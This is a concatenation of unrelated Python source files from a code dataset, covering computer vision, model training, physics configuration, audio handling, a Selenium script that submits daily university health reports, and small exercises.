cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n\n else:\n COUNTER = 0\n alarmOnOf1 = False\n\n if (distance > yawnThresh):\n\n if alarmOnOf2 == False and writingFeedback == False:\n alarmOnOf2 = True\n t = Thread(target=alarm, args=\"\")\n t.deamon = True\n t.start()\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n file.write(\"Yawn at \"+current_time+\"\\n\")\n yawn_freq += 1\n cv2.putText(frame, \"Yawn Alert\", (10, 60),\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n\n else:\n alarmOnOf2 = False\n\n cv2.putText(frame, \"EAR: {:.2f}\".format(ear), (300, 30),\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n cv2.putText(frame, \"YAWN: {:.2f}\".format(distance), (300, 60),\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n\n cv2.imshow(\"Frame\", frame)\n\n # Stop the code when user presses q (imp : q should be pressed while the webcam live stream is in focus and not the terminal)\n if(cv2.waitKey(1) & 0xFF == ord(\"q\")):\n break;\nwith open('/home/yash/Documents/IT204/Record.csv', 'a') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow([s, str(drowsy_freq), str(yawn_freq)])\nfile.close()\ncv2.destroyAllWindows()\nvs.stop()\n\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"410765752","text":"from core.Model.LeNet_Functional_Model import buildLeNetModel\r\nfrom core.CustomDataGenerator import CustomDataGenerator\r\n\r\nif __name__ == \"__main__\":\r\n\r\n log_dir=\"./model/\"\r\n \r\n inputs=(150,150,3)\r\n batch_size=32\r\n epochs=10\r\n num_classes = 2\r\n\r\n datagen=CustomDataGenerator(fun=\"CLAHE_Color\",clahenum=40,dtype=int)\r\n\r\n train_generator = datagen.flow_from_directory(\r\n './idenprof/train',\r\n target_size=(150, 150),\r\n batch_size=32,\r\n class_mode='categorical')\r\n val_generator = datagen.flow_from_directory(\r\n './idenprof/test',\r\n target_size=(150, 150),\r\n batch_size=32,\r\n class_mode='categorical')\r\n\r\n model = buildLeNetModel(inputs, num_classes)\r\n\r\n # checkpoint = ModelCheckpoint(log_dir + \"ep{epoch:03d}-loss{loss:.3f}-val_loss{val_loss:.3f}.h5\",\r\n # monitor='val_loss', save_weights_only=True, save_best_only=True, period=1)\r\n\r\n # callbacks_list = [checkpoint]\r\n\r\n model.fit_generator(\r\n train_generator,\r\n steps_per_epoch=10,\r\n epochs=epochs,\r\n validation_data=val_generator,\r\n validation_steps=10\r\n # , callbacks=[callbacks_list]\r\n )\r\n\r\n","sub_path":"LeNet_train.py","file_name":"LeNet_train.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"480041300","text":"import FWCore.ParameterSet.Config as cms\n\nfrom PhysicsTools.MiBiCommonPAT.makeMiBiCommonPATtoNT_cff import *\n\nprocess = cms.Process(\"MiBiCommonNT\")\n\n# the MiBiNT: Choose the MC type!!!\n# Possible choices: TTBar, Higgs, HiggsWW, HiggsGammaGamma, ZW, Other\nmakeMiBiCommonNT(process, GlobalTag=\"START42_V13::All\", HLT='', MC=True, MCType='Other')\n \nprocess.source.fileNames = cms.untracked.vstring(\n# 'file:/data2/amassiro/CMSSWRoot/Latinos_ggH160toWW_to2L2Nu_PAT/ggToH160toWWto2L2Nu_7_1_QhP.root'\n 'file:/data2/amassiro/CMSSWRoot/Latinos_DY_42_PAT/DYtoElEl_9_1_h8N.root' \n)\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\nprocess.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(True))\n\nprocess.TFileService = cms.Service(\n \"TFileService\", \n fileName = cms.string(\"MiBiCommonNT.root\"),\n closeFileFast = cms.untracked.bool(True)\n)\n\n","sub_path":"MiBiCommonPAT/test/makeMiBiCommonPATtoNT_MC_cfg.py","file_name":"makeMiBiCommonPATtoNT_MC_cfg.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"627587138","text":"import pandas as pd\nfrom get_stats import Post\nfrom scrape_nodb import SubScraper\n\nstart_date = '2017-01-01'\nend_date = '2017-10-01'\nsubr = 'wallstreetbets'\n\ndef make_ticker_list(filters = []):\n raw = list(pd.read_csv('../../data/nyse.csv').Symbol) + list(pd.read_csv('../../data/nasdaq.csv').Symbol)\n without_bs = [x.strip() for x in raw if '^' not in x]\n return [x for x in without_bs if x not in filters]\n\n\ndef process_submission(s, ticker_list):\n one_p = Post(s)\n one_p.get_stats(ticker_list, dollar_sign=True)\n return (one_p.date, one_p.ticker, one_p.sentiment, one_p.exposure)\n\nif __name__ == '__main__':\n result = []\n ticker_list = make_ticker_list()\n s = SubScraper('C:/Users/Owner.DESKTOP-UT1NOGO/Desktop/python/wsb-master/RETF/credentials.txt')\n submissions = s.get_submissions_between(subr, start_date, end_date)\n\n for s in submissions:\n result.append(process_submission(s, ticker_list))\n\n df = pd.DataFrame(result, columns = ['date', 'ticker', 'sentiment', 'exposure'])\n df = df.groupby(['date', 'ticker']).agg({'sentiment':'mean', 'exposure':'sum'}).reset_index()\n df_totalexposure = (df\n .groupby('date')\n .agg({'exposure':sum})\n .rename(columns = {'exposure':'daily_exposure'})\n .reset_index()\n )\n\n df = df.merge(df_totalexposure, on='date', how='left')\n df['exposure'] = df['exposure']/df['daily_exposure']\n df = df.drop('daily_exposure', axis=1)\n df.to_csv('agged_data_{0}_{1}.csv'.format(start_date, end_date))\n","sub_path":"dev/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"450458410","text":"from nlu.pipe.pipe_components import SparkNLUComponent\n\n\nclass EmbeddingsChunker(SparkNLUComponent):\n\n def __init__(self, annotator_class='chunk_embedder', language='en', component_type='embeddings_chunk', get_default = True, nlp_ref='', model=None, nlu_ref='',lang='en',loaded_from_pretrained_pipe=False):\n if model != None : self.model = model\n else : \n if annotator_class == 'chunk_embedder' :\n from nlu import ChunkEmbedder\n if get_default : self.model = ChunkEmbedder.get_default_model()\n else : self.model = ChunkEmbedder.get_default_model() # there are no pretrained chunkers, only default 1\n SparkNLUComponent.__init__(self, annotator_class, component_type, nlu_ref,nlp_ref)\n","sub_path":"nlu/components/embeddings_chunker.py","file_name":"embeddings_chunker.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"475512146","text":"#!/usr/bin/env python\n# coding: utf-8\nimport numpy as np\nimport pandas as pd\n\nimport pyprojroot\n\n\nCSV_FNAME = 'error_across_birds_with_cleanup.csv'\nRESULTS_ROOT = pyprojroot.here() / 'results' / 'Bengalese_Finches'\n\nlearncurve_csv = RESULTS_ROOT / 'learncurve' / CSV_FNAME\neval_across_days_csv = RESULTS_ROOT / 'behavior' / CSV_FNAME\n\n\ncurve_df = pd.read_csv(learncurve_csv)\neval_df = pd.read_csv(eval_across_days_csv)\n\n\n# tidy learning curve `DataFrame`\nTRAIN_SET_DUR = 600\n\ncurve_df = curve_df[curve_df.train_set_dur == TRAIN_SET_DUR]\n\nBFSONGREPO_ANIMAL_IDS = set(eval_df.animal_id.unique().tolist())\ncurve_df = curve_df[curve_df.animal_id.isin(BFSONGREPO_ANIMAL_IDS)]\n\ncurve_df['day_int'] = 1.0 # 'day 1' is test set from day we used to train models\n\n\n# tidy `DataFrame` from running `eval` on other days from dataset\neval_df['day_int'] = np.nan\nfor animal_id in eval_df.animal_id.unique():\n eval_df.loc[eval_df.animal_id == animal_id, 'day_int'] = pd.factorize(eval_df.loc[eval_df.animal_id == animal_id, 'day'])[0]\n\neval_df['day_int'] += 2.0\n\n\n# concatenate the `DataFrame`s into one\ndf = pd.concat((curve_df, eval_df))\n\ndf['day_int'] = df['day_int'].astype(int)\n\nsource_data_csv_path = RESULTS_ROOT / 'behavior' / 'eval-across-days.csv'\ndf.to_csv(source_data_csv_path)\n","sub_path":"article/src/scripts/Bengalese_Finches/behavior/eval_across_days_source_data.py","file_name":"eval_across_days_source_data.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"632123050","text":"# -*- encoding: utf-8 -*-\nimport os\nfrom supriya.tools.systemtools.SupriyaObject import SupriyaObject\n\n\nclass SoundFile(SupriyaObject):\n\n ### CLASS VARIABLES ###\n\n __slots__ = (\n '_channel_count',\n '_file_path',\n '_frame_count',\n '_sample_rate',\n )\n\n ### INITIALIZER ###\n\n def __init__(self, file_path):\n import wavefile\n file_path = os.path.abspath(file_path)\n assert os.path.exists(file_path)\n self._file_path = file_path\n with wavefile.WaveReader(self.file_path) as reader:\n self._frame_count = reader.frames\n self._channel_count = reader.channels\n self._sample_rate = reader.samplerate\n\n ### PUBLIC METHODS ###\n\n def at_frame(self, frames):\n import wavefile\n assert 0 <= frames <= self.frame_count\n with wavefile.WaveReader(self.file_path) as reader:\n reader.seek(frames)\n iterator = reader.read_iter(size=1)\n frame = next(iterator)\n return frame.transpose().tolist()[0]\n\n def at_percent(self, percent):\n import wavefile\n assert 0 <= percent <= 1\n frames = int(self.frame_count * percent)\n with wavefile.WaveReader(self.file_path) as reader:\n reader.seek(frames)\n iterator = reader.read_iter(size=1)\n frame = next(iterator)\n return frame.transpose().tolist()[0]\n\n def at_second(self, second):\n import wavefile\n assert 0 <= second <= self.seconds\n frames = second * self.sample_rate\n with wavefile.WaveReader(self.file_path) as reader:\n reader.seek(frames)\n iterator = reader.read_iter(size=1)\n frame = next(iterator)\n return frame.transpose().tolist()[0]\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def channel_count(self):\n return self._channel_count\n\n @property\n def seconds(self):\n return float(self._frame_count) / float(self._sample_rate)\n\n @property\n def file_path(self):\n return self._file_path\n\n @property\n def frame_count(self):\n return self._frame_count\n\n @property\n def sample_rate(self):\n return self._sample_rate\n","sub_path":"supriya/tools/soundfiletools/SoundFile.py","file_name":"SoundFile.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"345286140","text":"n=int(input())\nenter=[]\nfor i in range(0,n):\n enter.append(input().split(\" \"))\ncount=0\nineq=[]\nfor i in range(0,n):\n if enter[i][0]==\"Add\":\n for t in enter[i]:\n if t==\"\":\n print(enter)\n break\n else:\n ineq.append([int(t) for t in enter[i][1:]])\n elif enter[i][0]==\"Del\":\n count+=1\n del ineq[int(enter[i][1])-count]\n else:\n re=0\n k=int(enter[i][1])\n for j in ineq:\n if int(j[0])*k+int(j[1])>int(j[2]):\n re+=1\n print(re)","sub_path":"Code/CodeRecords/2499/60787/298298.py","file_name":"298298.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"593541373","text":"#!/bin/python3\n\nimport sys\n\n\nt = int(input().strip())\nfor a0 in range(t):\n n = int(input().strip())\n \n fives = int(n/3)*3\n threes = n - fives\n exists = True\n while fives >= 0:\n if threes % 5 == 0:\n break\n elif fives - 3 >= 0:\n fives = fives - 3\n threes = threes + 3\n else:\n exists = False\n break\n \n if exists == True:\n num = ''\n for i in range(fives):\n num = num + '5'\n for j in range(threes):\n num = num + '3'\n print(num)\n else:\n print(-1)\n \n","sub_path":"domains/algorithms/implementation/sherlock-and-the-beast/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"262208300","text":"#!/usr/bin/env python -c\n\nimport sys\nsys.path.append('../src')\nfrom merge_sort import mergeSort\n\ndef computeInversions():\n fopen = open('IntegerArray.txt', 'r')\n array = []\n for line in fopen:\n array.append(line.strip())\n return mergeSort(array)\n\n","sub_path":"questions/question_1.py","file_name":"question_1.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"609724127","text":"from django.conf.urls import url\nfrom . import views \nurlpatterns = [\n\turl(r'^main$', views.index),\n\turl(r'^register$', views.register),\n\turl(r'^login$', views.login),\n\turl(r'^travels$', views.travels),\n\turl(r'^travels/add$', views.addtrip),\n\turl(r'^add$', views.add),\n\turl(r'^join/(?P\\d+)$', views.join),\n\turl(r'^unjoin/(?P\\d+)$', views.unjoin),\n\turl(r'^view/(?P\\d+)$', views.viewpage),\n\turl(r'^logout$', views.logout)\n\t# url(r'^delete$', views.deleteuser),\n]","sub_path":"apps/pybelt/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"228429280","text":"import math\n\n\ndef clamp(val, min_, max_):\n \"\"\"Clamps :val: to the range between :min_: and :max_:\"\"\"\n return min(max(val, min_), max_)\n\n\ndef round_mult(val, multiple, direction='round'):\n \"\"\"Rounds :val: to the nearest :multiple:. The argument :direction: should be either 'round', 'up', or 'down'.\"\"\"\n round_func = {'round': round, 'up': math.ceil, 'down': math.floor}\n return round_func[direction](val / multiple) * multiple\n\n\ndef num_digits(n):\n \"\"\"Returns the number of digits in an integer :n:.\n\n Source:\n https://stackoverflow.com/a/2189827\n \"\"\"\n\n if n > 0:\n return int(math.log10(n)) + 1\n elif n == 0:\n return 1\n else:\n return int(math.log10(-n)) + 2\n\n\ndef math_eval(string, subs=None):\n \"\"\"Evaluates a given string as a (real) mathematical expression, and returns its result. Is in theory done in a\n safe manner, allowing untrusted input to be passed as the :string: argument. (But not for the :subs: argument!)\n\n Arguments:\n :str string: A string for the expression to be evaluated, which may include math functions. e.g. '4', 'tanh(6)'.\n (The math functions do not have to be expressed as 'math.tanh' etc.) May also include other objects, in\n particular mathematical variables, e.g. 'x ** 2', provided a value is specified for these extra values via the\n :subs: argument.\n :subs: Should usually be a dictionary specifying what any extra things mean. e.g.\n '{\"x\": 4, \"func\": lambda x: math.sqrt(math.tanh(x))}' would allow for passing 'func(x)' as :string:. As this is\n most commonly used for specifying the value of some variable, if :subs: lacks the 'items' attribute, then it\n will be directly interpreted itself as the value for a variable named 'x'.\n\n Examples:\n >>> math_eval('tanh(1)')\n 0.7615941559557649\n >>> math_eval('y', {'y': 5})\n 5\n >>> math_eval('x ** 2', 4)\n 16\n >>> import math\n >>> math_eval('func(x)', {'x': 4, 'func': lambda x: math.sqrt(math.tanh(x))})\n 0.999664593620814\n \"\"\"\n\n math_list = ['acos', 'asin', 'atan', 'atan2', 'ceil', 'cos', 'cosh',\n 'degrees', 'e', 'exp', 'fabs', 'floor', 'fmod', 'frexp',\n 'hypot', 'ldexp', 'log', 'log10', 'modf', 'pi', 'pow',\n 'radians', 'sin', 'sinh', 'sqrt', 'tan', 'tanh']\n math_dict = {name: getattr(math, name) for name in math_list}\n math_dict['abs'] = abs\n if subs is not None:\n if hasattr(subs, 'items'):\n for key, val in subs.items():\n math_dict[key] = val\n else:\n math_dict['x'] = subs\n return eval(string, {'__builtins__': None}, math_dict)\n","sub_path":"num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"232519235","text":"a = 4;\r\nb = 3;\r\na , b = a, b;\r\na , b = b, a;\r\nprint(a);\r\nprint(b);\r\nc = 7;\r\nd = 9;\r\ne = 11;\r\nmaxWeightRouteOne = min(a, b, c);\r\nmaxWeightRouteTwo = min(d, e);\r\nmaxWeightBetweenCities = max(maxWeightRouteOne, maxWeightRouteTwo);\r\nprint(maxWeightBetweenCities);\r\npopulationIn2012 = 1000\r\npopulationIn2013 = populationIn2012 * 1.1\r\npopulationIn2014 = populationIn2013 * 1.1\r\npopulationIn2015 = populationIn2014 * 1.1\r\nprint(populationIn2015);\r\nimport random\r\nx = random.randint(1,101);\r\ny = random.randint(1,101);\r\n","sub_path":"parallelAssignmentTest.py","file_name":"parallelAssignmentTest.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"384006544","text":"# Sistem Lampu Ruangan Otomatis \r\n# Oleh :\r\n# Jonathan Suara Patty \r\n# Ariel Jusuf Indrastata\r\n\r\n# Menggunakan library scikit-fuzzy dan matplotlib\r\nimport numpy as np\r\nimport skfuzzy as fuzz\r\nfrom skfuzzy import control as ctrl\r\n\r\n# Deklarasi variabel\r\nintensitas = ctrl.Antecedent(np.arange(0, 250, 1), 'intensitas')\r\npwm = ctrl.Consequent(np.arange(0, 255, 1), 'kecerahan')\r\n\r\n# Menentukan derajat keanggotaan intensitas cahaya dalam ruangan\r\nintensitas['gelap'] = fuzz.trapmf(intensitas.universe, [0, 0, 25, 75])\r\nintensitas['redup'] = fuzz.trimf(intensitas.universe, [25, 75, 125])\r\nintensitas['agak_redup'] = fuzz.trimf(intensitas.universe, [75, 125, 175])\r\nintensitas['agak_terang'] = fuzz.trimf(intensitas.universe, [125, 175, 225])\r\nintensitas['terang'] = fuzz.trapmf(intensitas.universe, [175, 225, 250, 250])\r\n\r\n# Menentukan derajat keanggotaan nilai PWM\r\npwm['mati'] = fuzz.trimf(pwm.universe, [0, 0, 63])\r\npwm['redup'] = fuzz.trimf(pwm.universe, [0, 63, 127])\r\npwm['agak_redup'] = fuzz.trimf(pwm.universe, [63, 127, 191])\r\npwm['agak_terang'] = fuzz.trimf(pwm.universe, [127, 191, 255])\r\npwm['terang'] = fuzz.trimf(pwm.universe, [191, 255, 255])\r\n\r\n# Plot grafik derajat keanggotaan\r\nintensitas.view()\r\npwm.view()\r\n\r\n# Rules\r\nrule1 = ctrl.Rule(intensitas['gelap'], pwm['terang'])\r\nrule2 = ctrl.Rule(intensitas['redup'], pwm['agak_terang'])\r\nrule3 = ctrl.Rule(intensitas['agak_redup'], pwm['agak_redup'])\r\nrule4 = ctrl.Rule(intensitas['agak_terang'], pwm['redup'])\r\nrule5 = ctrl.Rule(intensitas['terang'], pwm['mati'])\r\n\r\n# Persiapan untuk defuzzifikasi\r\npwm_ctrl = ctrl.ControlSystem([rule1, rule2, rule3, rule4, rule5])\r\nnilai_pwm = ctrl.ControlSystemSimulation(pwm_ctrl)\r\n\r\n# Input data\r\ninput_jml_orang = input(\"Masukan jumlah orang dalam ruangan : \")\r\ninput_intensitas = input(\"Masukan intensitas cahaya dalam ruangan dalam lux (lx) : \")\r\n\r\n# Jika ada orang di dalam ruangan\r\nif (int(input_jml_orang) > 0) :\r\n\r\n # Defuzzifikasi\r\n nilai_pwm.input['intensitas'] = int(input_intensitas)\r\n nilai_pwm.compute()\r\n\r\n # Plot grafik\r\n intensitas.view(sim=nilai_pwm)\r\n pwm.view(sim=nilai_pwm)\r\n\r\n # Output\r\n print(\"Nilai PWM untuk kecerahan lampu : \", nilai_pwm.output['kecerahan'])\r\n a = input()\r\n\r\n# Jika tidak ada orang di dalam ruangan\r\nelse :\r\n print(\"Nilai PWM untuk kecerahan lampu : 0\")\r\n a = input()","sub_path":"LampuRuanganOtomatis.py","file_name":"LampuRuanganOtomatis.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"550833490","text":"import os\nimport time\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import UnexpectedAlertPresentException\n\nprint('初始化浏览器')\nUSERNAME = os.environ['ID']\nPASSWORD = os.environ['PASSWORD']\nLOCATION = os.environ['LOCATION']\nua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14A403 MicroMessenger/6.3.27 NetType/WIFI Language/zh_CN'\noption = webdriver.ChromeOptions()\noption.headless = True\noption.add_argument('user-agent='+ua)\ndriver = webdriver.Chrome(executable_path= '/usr/bin/chromedriver', options = option)\n\nprint('正在上报')\ndriver.get('http://ivpn.hit.edu.cn')\ndriver.find_element_by_id('mobileUsername').send_keys(USERNAME)\ndriver.find_element_by_id('mobilePassword').send_keys(PASSWORD)\ndriver.find_element_by_id('load').click()\ndriver.get('http://xg-hit-edu-cn-s.ivpn.hit.edu.cn:1080/zhxy-xgzs/xg_mobile/xs/yqxx')\ndriver.find_element_by_class_name('right_btn').click()\nsleep(1)\nalert = EC.alert_is_present()(driver)\n\nif alert: # 重复上报\n\talert.accept()\n\tdriver.find_element_by_id('center').find_elements_by_tag_name('div')[5].click()\n\nalert = EC.alert_is_present()(driver)\nif alert: # 获取位置\n\talert.dismiss()\n\nWebDriverWait(driver,30,0.5).until(lambda driver: driver.find_element_by_id('gnxxdz'))\nloc = driver.find_element_by_id('gnxxdz')\ndriver.execute_script('arguments[0].value=\"'+LOCATION+'\"', loc)\ndriver.find_element_by_id('checkbox').click()\ndriver.execute_script('save()')\ndriver.execute_script('document.getElementsByClassName(\"weui-dialog__btn primary\")[0].click()')\n\nprint('正在申请两天后出校')\n# 直接访问会报错,因此通过每日上报间接访问\n# driver.get('https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/xsCxsq')\ndriver.get('http://xg-hit-edu-cn-s.ivpn.hit.edu.cn/zhxy-xgzs/xg_mobile/xs/yqxx')\nWebDriverWait(driver,30,0.5).until(lambda driver: driver.find_element_by_class_name('footer_img1'))\ndriver.find_element_by_class_name('footer_img1').click()\nsleep(1)\ndriver.execute_script('wjdc()')\nsleep(1)\nprint(driver.current_url)\ndriver.find_element_by_class_name('right_btn').click() #\nsleep(1)\nWebDriverWait(driver,30,0.5).until(lambda driver: driver.find_element_by_id('cxlx01'))\nlx_type = driver.find_element_by_id('cxlx01')\ndriver.execute_script(\"arguments[0].checked = true;\", lx_type)\n\ntime.timezone = -28800 # 北京时间\ndate = time.localtime(time.time() + 3600 * 24 * 2)\nlx_date = driver.find_element_by_id('rqlscx')\ndriver.execute_script('arguments[0].value=\"%s年%s月%s日\"'%(date.tm_year, date.tm_mon, date.tm_mday), lx_date)\n\nlx_reason = driver.find_element_by_id('cxly')\ndriver.execute_script('arguments[0].value=\"吃饭\"', lx_reason)\n\nfor i in range(1, 10):\n driver.find_element_by_id('checkbox%d'%i).click()\ndriver.execute_script('save()')\ndriver.execute_script('document.getElementsByClassName(\"weui-dialog__btn primary\")[0].click()')\n\ndriver.quit()\n\nprint('上报完成')\n","sub_path":"每日上报.py","file_name":"每日上报.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"581677210","text":"# Import de la librairie random pour la gestion du hasard#\nfrom random import* \n\n#Définition de la fonction nombre_mystere correspondant à une partie#\n#Retourne True (vrai) si le joueur a gagne#\n#Retourne False (faux) si le joueur a perdu#\ndef nombre_mystere(): \n \n # Choix d'un nombre entier au hasard entre 1 et 50 #\n nbr_myst=randint(1,50) \n \n #Boucle autorisant 7 coups#\n for i in range(1,8): \n \n # Recuperation de la proposition du joueur#\n nb=int(input(\"Entrer un nombre:\")) \n \n # Le premier cas étant si nb (la proposition) est égale au nombre mystère #\n if nb==nbr_myst:\n print(\"Vous avez trouvé le nombre mystère\",i,\"coups.\")\n #La fonction retourne True (vrai) pour indiquer une victoire\n return True \n\n # On définit inf_ou_sup afin d'avoir le choix pour #\n # ne pas demander au joueur d'écrire la question à chaque fois #\n inf_ou_sup =int(input(\"Voulez vous savoir si le nombre mystère est\\n1-supérieur\\n2-inférieur\\nau nombre choisis ?\")) \n \n # Cas supérieur ou non à nb, lorsque nous choisissons inf_ou_sup=1 # \n if inf_ou_sup==1:\n if nb<=nbr_myst: \n print(\"Oui, le nombre mystère est supérieur au nombre choisis.\") \n else:\n print(\"Non\")\n \n # Cas inférieur ou non à n, lorque nous choisissons inf_ou_sup=2 #\n elif inf_ou_sup==2:\n if nb>=nbr_myst: \n print(\"Oui, le nombre mystère est inférieur au nombre choisis.\") \n else:\n print(\"Non\")\n \n # Si au bout de 7 coups le nombre mystère n'est pas trouvé, alors la fonction #\n # imprime cette phrase qui nous indique le nombre mystère #\n print(\"Le nombre mystère était\",nbr_myst) \n\n #La fonction retourne False pour indiquer que c'est perdu\n return False \n\n\n#Programme Principal\n\nnb_parties = 0 #Variable contenant le nombre de partie jouée\nnb_parties_gagnees = 0 #Variable comptabilisant les victoires\ncontinuer_a_jouer = True #Variable pour gérer si le jouer souhaite continuer\n\n#Boucle de jeu principale\nwhile continuer_a_jouer:\n\n #Augmente le nb de partie de 1\n nb_parties = nb_parties + 1 \n \n #Appel de la fonction de partie\n resultat = nombre_mystere()\n\n #Augmente de 1 le nombre de parties gagnées si le resultat est True (vrai)\n if resultat:\n nb_parties_gagnees = nb_parties_gagnees + 1\n\n #Demande si le joueur souhaite continuer\n question = input(\"Voulez-vous continuer à jouer [O/N]?\")\n if question == \"O\":\n continuer_a_jouer = True\n else:\n continuer_a_jouer = False\n\n#Affichage du bilan\nprint(\"\\n###########################\") # le charactere \\n permet de sauter une ligne\nprint(\"Vous avez gagné\",nb_parties_gagnees,\"partie(s) sur\",nb_parties,\"partie(s) jouée(s)\")\nprint(\"###########################\")\n","sub_path":"mini_projet.py","file_name":"mini_projet.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"404792375","text":"import pytest\nfrom flask import g\nfrom flask import session\n\n'''Test that viewing a page renders without template errors '''\n@pytest.mark.parametrize('page, result',\n [\n (\"/\", 200),\n (\"/output_model\", 200)\n ]\n )\ndef test_page(client, app, page, result):\n assert client.get(page).status_code == result\n\n","sub_path":"tests/test_site.py","file_name":"test_site.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"192989020","text":"import requests\nimport datetime\nnow = datetime.datetime.now()\n\n#add location search? - 25 miles of inputted postcode, or, ideally, looks up postcode from a town the user enters\n\nsearchYOBs = []\nlistofclubs = {\"AIRE\": 23, \"AROS\": 147, \"AUOC\": 158, \"AYROC\": 58, \"BADO\": 89, \"BAOC\": 117, \n \"BASOC\": 62, \"BKO\": 91, \"BL\": 60, \"BOF\": 152, \"BOK\": 44, \"CHIG\": 92, \n \"CLARO\": 24, \"CLOK\": 41, \"CLYDE\": 63, \"COBOC\": 38, \"CUOC\": 112, \"DEE\": 61, \n \"DEVON\": 45, \"DFOK\": 94, \"DRONGO\": 139, \"DUOC\": 134, \"DVO\": 21, \"EBOR\": 25, \n \"ECKO\": 65, \"ELO\": 67, \"EPOC\": 26, \"ERYRI\": 53, \"ESOC\": 68, \"EUOC\": 111, \n \"FERMO\": 87, \"FVO\": 69, \"GMOA\": 120, \"GO\": 95, \"GRAMP\": 71, \"GUOC\": 153, \n \"HALO\": 27, \"HAVOC\": 32, \"HH\": 96, \"HOC\": 39, \"INT\": 72, \"INVOC\": 73, \n \"IOM OK\": 166, \"JOK\": 121, \"KERNO\": 46, \"KFO\": 74, \"LEI\": 29, \"LOC\": 64, \n \"LOG\": 30, \"LOK\": 97, \"LUOC\": 157, \"LUUOC\": 151, \"LVO\": 88, \"MA\": 161, \n \"MAROC\": 75, \"MDOC\": 66, \"MOR\": 76, \"MV\": 99, \"MWOC\": 54, \"NATO\": 50, \n \"NGOC\": 15, \"NN\": 55, \"NOC\": 31, \"NOR\": 33, \"NWO\": 47, \"NWOC\": 90, \n \"OD\": 19, \"OROX\": 163, \"OUOC\": 114, \"PARCOR\": 165, \"PFO\": 78, \n \"POTOC\": 40, \"QO\": 48, \"RAFO\": 115, \"RNRMOC\": 128, \"RR\": 77, \n \"RSOC\": 159, \"SARUM\": 49, \"SAX\": 148, \"SBOC\": 56, \"SELOC\": 79, \"SHUOC\": 129, \n \"SLOW\": 100, \"SMOC\": 34, \"SN\": 101, \"SO\": 105, \"SOC\": 102, \"SOFA\": 103, \n \"SOLWAY\": 80, \"SOS\": 35, \"SPOOK\": 137, \"SROC\": 81, \"STAG\": 82, \"SUFFOC\": 36, \n \"SWOC\": 57, \"SYO\": 28, \"TAY\": 84, \"TINTO\": 86, \"TVOC\": 104, \"UBOC\": 132, \n \"WAOC\": 37, \"WAROC\": 83, \"WCH\": 42, \"WCOC\": 85, \"WIGHTO\": 106, \"WIM\": 51, \n \"WRE\": 43, \"WSX\": 52, \"XPLORER\": 160}\n\ndef check_age_valid(ageClass):\n if not ageClass[0].isalpha():\n return False\n \n try:\n value = int(ageClass[1:])\n return True\n except:\n return False\n\ndef round_to_five(x, base=5):\n return base * round(x/base)\n\ndef agetoyears():\n ageClass = str(input(\"Which age class do you want to search for? (e.g. M14, W21)\\n\"))\n \n while not check_age_valid(ageClass):\n ageClass = str(input(\"Please use correct format e.g. M14, W21, not '{}'\\n\".format(ageClass)))\n \n gender = ageClass[0].upper()\n age = int(ageClass[1:])\n print(\"age: {}, gender: {}\".format(age, gender))\n\n searchterms = []\n\n if age < 21:\n searchterms.append(str(now.year - int(age)))\n searchterms.append(str(now.year - (int(age) - 1)))\n elif 21 <= age <= 34:\n for year in range(now.year - 34, now.year - 20):\n searchterms.append(str(year))\n 